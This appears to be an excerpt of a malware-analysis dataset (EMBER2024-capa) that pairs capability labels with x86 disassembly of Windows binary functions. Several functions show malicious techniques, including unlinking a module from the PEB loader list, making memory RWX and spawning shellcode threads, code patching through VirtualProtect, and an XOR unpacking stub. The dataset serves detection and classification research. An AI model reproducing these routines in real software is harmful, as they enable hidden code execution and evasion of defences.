joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10030b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d743
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1004ee24]
mov dword [ebp - 0x1c], 0x7cf55e23
mov dword [ebp - 0x18], 0x1dcd2d07
mov byte [ebp - 0x14], 0x47
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x78c]
test al, 1
jne 0x10030c35
or eax, 1
mov dword [esi + 0x78c], eax
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x9d9], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x9d0], al
add ecx, 1
adc edx, 0
jne 0x10030c28
cmp ecx, 9
jb 0x10030c10
push 0x10044cb0
call fcn.10038037
add esp, 4
cmp byte [esi + 0x9d9], 0
lea edi, [esi + 0x9d0]
je 0x10030c7d
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
mov ecx, esi
mov eax, 0x45916d47
and ecx, 7
mov edx, 0x71a14929
shl ecx, 3
call fcn.100389e0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x10030c79
cmp esi, 9
jb 0x10030c52
mov byte [edi + 9], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.xxxxxxx____xxx_
push 0x100469c8
push edi
call esi
mov edx, 0x128000
mov ecx, eax
call fcn.10007460
add esp, 8
mov ebx, eax
push str.xxxxxxxxx
push 0x100469e4
lea ecx, [ebx + 6]
push edi
mov dword [0x1005008c], ecx
call esi
mov edx, 0x128000
mov ecx, eax
call fcn.10007460
add esp, 8
lea ecx, [eax + 6]
mov dword [0x10050730], ecx
test ebx, ebx
je 0x10030ce1
push ecx
push 0x100302d0
push ebx
call fcn.1000c1a0
jmp 0x10030d08
test eax, eax
je 0x10030cf3
push ecx
push 0x100302f0
push eax
call fcn.1000c1a0
jmp 0x10030d08
push 0
push 0
push 0
push 0x10030b70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret
Function at 0x10030d30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, edx
mov edi, ecx
cmp byte [edi], 0x6a
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
jne 0x10030dab
test esi, esi
je 0x10030da2
lea ecx, [ebp - 8]
push ecx
push 0x80
push 7
push esi
call eax
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ecx
lea edx, [ebx + 7]
lea ecx, [esi + 7]
call fcn.1000c000
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x10030e08
push ecx
lea edx, [ebx + 7]
lea ecx, [esi + 7]
jmp 0x10030e00
test esi, esi
je 0x10030df9
lea ecx, [ebp - 0xc]
push ecx
push 0x80
push 5
push esi
call eax
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ecx
lea edx, [ebx + 5]
lea ecx, [esi + 5]
call fcn.1000c000
add esp, 4
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x10030e08
push ecx
lea edx, [ebx + 5]
lea ecx, [esi + 5]
call fcn.1000c000
add esp, 4
mov al, byte [edi]
cmp al, 0x8b
je 0x10030e1f
cmp al, 0x6a
je 0x10030e1f
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10030d4a
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10037659
mov esp, ebp
pop ebp
ret
Function at 0x10031a60
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10031b62
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10031ae7
cmp ecx, edi
jne 0x10031ade
mov edx, dword [eax + 4]
test edx, edx
je 0x10031aac
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x10031aac
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10031ab8
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x10031ac5
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x10031ade
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x10031ade
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10031a91
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10021aa0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10031210
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.10037659
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10032030
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x1003205c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x1003207e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10032080
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x10032105
jg 0x10032095
test esi, esi
je 0x10032105
test ecx, ecx
jl 0x100320e8
jg 0x1003209f
test eax, eax
je 0x100320e8
cmp edi, ecx
jg 0x100320b3
jl 0x100320a9
cmp esi, eax
jae 0x100320b3
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x10032105
jg 0x100320eb
test esi, esi
je 0x10032105
jmp 0x100320eb
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10032105
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10032120
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x1003214c
jl 0x10032140
test esi, esi
jne 0x1003214c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10032165
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov dword [ebp - 4], esi
mov edx, dword [eax]
test edx, edx
je 0x100321a5
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x100321a5
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 8], esi
add esp, 0xc
mov dword [ebp - 4], edi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
je 0x1003225c
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x100321d0
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [ebp - 4]
mov edx, eax
mov ecx, dword [ebp - 8]
cmp eax, 0xfff
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov dword [ebp - 4], edx
jbe 0x1003221f
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 8]
sub edi, eax
add ecx, eax
mov dword [ebp - 4], edi
add esp, 0x10
mov dword [ebp - 8], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x10032249
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x100321f0
cmp dword [ebp - 4], 0
jbe 0x1003225f
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, dword [ebp - 4]
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
mov eax, esi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp - 4]
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100325d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10032600
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10032630
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10032630
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x10032705
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10032659
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10032665
movsx eax, bl
jmp 0x1003269c
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x10032705
cmp eax, 1
jle 0x100326c6
cmp eax, 3
jne 0x10032705
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x100326e4
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10032705
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x10032705
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10037659
mov esp, ebp
pop ebp
ret 4
Function at 0x10034cd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x10034d8c
cmp byte [esi + 0x3d], 0
je 0x10034d8c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x10034d7a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x10034d41
sub eax, 1
je 0x10034d45
sub eax, 2
jne 0x10034d7a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10034d63
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10034d7a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.10037659
mov esp, ebp
pop ebp
ret
Function at 0x100373f0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003da7d
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.10037290
cmp byte [ebp - 0x84], 0
jne 0x10037541
xor edx, edx
lea ecx, [ebp - 0x3f]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x18], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x17], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x16], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x15], al
add edx, 4
cmp edx, 8
jb 0x10037485
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x1004e650
call fcn.10037290
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.10037290
xor edx, edx
lea ecx, [ebp - 0x37]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x28], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x27], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x26], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x25], al
add edx, 4
cmp edx, 0x10
jb 0x100374f4
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.10037340
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10037583
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10037579
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10037579
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.10037f80
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ed0
nop
mov ecx, 0x33737cff
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x63ad3d2d
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x4016dc
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
call fcn.00401b98
push esi
mov esi, 0x4027c4
cmp dword [ebp + 8], esi
jne 0x4016fb
dec eax
jmp 0x4017a0
lea esi, [ebp - 0x168]
push 0x4c
pop dword [ebp - 0x4c]
push dword [0x4027a0]
pop dword [ebp - 0x48]
push dword [0x40279c]
pop dword [ebp - 0x44]
mov dword [ebp - 0x40], 0x401fd3
mov dword [ebp - 0x2c], 0x104
mov dword [ebp - 0x10], 0x402087
push 0x104
push esi
push 0
call sub.kernel32.dll_GetModuleFileNameA
dec eax
cmp byte [eax + esi], 0x5c
jne 0x40173a
mov byte [eax + esi], ah
mov dword [ebp - 0x20], esi
mov esi, 0x4027c4
mov dword [ebp - 0x30], esi
cmp dword [ebp + 8], 0
je 0x40176e
mov dword [ebp - 0x1c], 0x40208b
mov dword [ebp - 0x18], 0x280800
lea eax, [ebp - 0x4c]
push eax
call sub.comdlg32.dll_GetOpenFileNameA
jmp 0x401799
cmp dword [0x4025d0], 0
je 0x401799
push 0x402091
push esi
call sub.kernel32.dll_lstrcpyA
mov dword [ebp - 0x1c], 0x40209c
mov dword [ebp - 0x18], 0x280002
lea eax, [ebp - 0x4c]
push eax
call sub.comdlg32.dll_GetSaveFileNameA
and dword [0x4025d0], 0
or eax, eax
je 0x4018a5
mov ecx, 0x40000000
push 2
pop edx
cmp dword [ebp + 8], 0
je 0x4017be
mov ecx, 0x80000000
push 3
pop edx
push esi
call fcn.00401b62
cmp eax, 0xffffffff
je 0x4018a5
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x64], eax
push edi
mov edi, 0x4028c8
push 0x401fc1
push edi
call sub.kernel32.dll_lstrcpyA
push esi
push edi
call sub.kernel32.dll_lstrcatA
push edi
push 0
push 0xc
push dword [0x4027a0]
call sub.user32.dll_SendMessageA
pop edi
mov ecx, 0x44a
and dword [0x4025c4], 0
push 2
pop esi
cmp dword [ebp + 8], 0
je 0x401871
inc dword [0x4025c4]
push dword [0x4027a8]
call sub.user32.dll_SetFocus
push 0
push 0
push 0x448
push dword [0x4027a8]
call sub.user32.dll_SendMessageA
push 0
lea eax, [ebp - 0x58]
push eax
push 4
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 0x50]
call sub.kernel32.dll_ReadFile
push 0
push 0
push 0
push dword [ebp - 0x50]
call sub.kernel32.dll_SetFilePointer
mov eax, dword [ebp - 0x54]
or eax, 0x20200000
cmp eax, 0x74725c7b
je 0x40186c
mov esi, 1
mov ecx, 0x449
mov dword [ebp - 0x5c], 0x4018aa
lea eax, [ebp - 0x64]
push eax
push esi
push ecx
push dword [0x4027a8]
call sub.user32.dll_SendMessageA
push dword [ebp - 0x50]
call sub.kernel32.dll_CloseHandle
push 0
push 0
push 0xb9
push dword [0x4027a8]
call sub.user32.dll_SendMessageA
pop esi
leave
ret 4
Function at 0x401c74
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe7c
push esi
push edi
call sub.kernel32.dll_GetCommandLineA
mov dword [ebp - 4], eax
xor ecx, ecx
mov esi, dword [ebp - 4]
lodsb al, byte [esi]
cmp al, 0
je 0x401c98
cmp al, 0x22
jne 0x401c8c
inc ecx
jmp 0x401c8c
push ecx
shr ecx, 1
shl ecx, 1
pop eax
cmp eax, ecx
je 0x401cad
pop edi
pop esi
mov eax, 3
leave
ret 8
mov esi, dword [ebp - 4]
lea edi, [ebp - 0xc4]
lodsb al, byte [esi]
cmp al, 0
je 0x401cc4
cmp al, 9
jne 0x401cc1
mov al, 0x20
stosb byte es:[edi], al
jmp 0x401cb6
stosb byte es:[edi], al
lea eax, [ebp - 0xc4]
mov esi, eax
mov edi, eax
lodsb al, byte [esi]
cmp al, 0
jne 0x401cd6
jmp 0x401cf1
cmp al, 0x22
jne 0x401cdd
stosb byte es:[edi], al
jmp 0x401ce0
stosb byte es:[edi], al
jmp 0x401ccf
lodsb al, byte [esi]
cmp al, 0x20
jne 0x401ce7
mov al, 0xfe
cmp al, 0x22
jne 0x401cee
stosb byte es:[edi], al
jmp 0x401ccf
stosb byte es:[edi], al
jmp 0x401ce0
stosb byte es:[edi], al
lea eax, [ebp - 0xc4]
mov esi, eax
lea edi, [ebp - 0x184]
mov ecx, 0
lodsb al, byte [esi]
cmp al, 0x20
je 0x401d05
cmp ecx, dword [ebp + 8]
je 0x401d24
lodsb al, byte [esi]
cmp al, 0
je 0x401d31
cmp al, 0x20
jne 0x401d22
lodsb al, byte [esi]
cmp al, 0x20
je 0x401d18
inc ecx
cmp al, 0
je 0x401d31
jmp 0x401d0a
stosb byte es:[edi], al
lodsb al, byte [esi]
cmp al, 0x20
je 0x401d31
cmp al, 0
je 0x401d31
stosb byte es:[edi], al
jmp 0x401d25
mov al, 0
stosb byte es:[edi], al
cmp ecx, dword [ebp + 8]
jae 0x401d4a
mov edi, dword [ebp + 0xc]
mov al, 0
stosb byte es:[edi], al
mov eax, 2
pop edi
pop esi
leave
ret 8
lea eax, [ebp - 0x184]
mov esi, eax
mov edi, dword [ebp + 0xc]
lodsb al, byte [esi]
cmp al, 0
je 0x401d67
cmp al, 0x22
je 0x401d55
cmp al, 0xfe
jne 0x401d64
mov al, 0x20
stosb byte es:[edi], al
jmp 0x401d55
stosb byte es:[edi], al
mov esi, dword [ebp + 0xc]
lodsb al, byte [esi]
cmp al, 0
jne 0x401d7b
pop edi
pop esi
mov eax, 4
leave
ret 8
mov eax, 1
pop edi
pop esi
leave
ret 8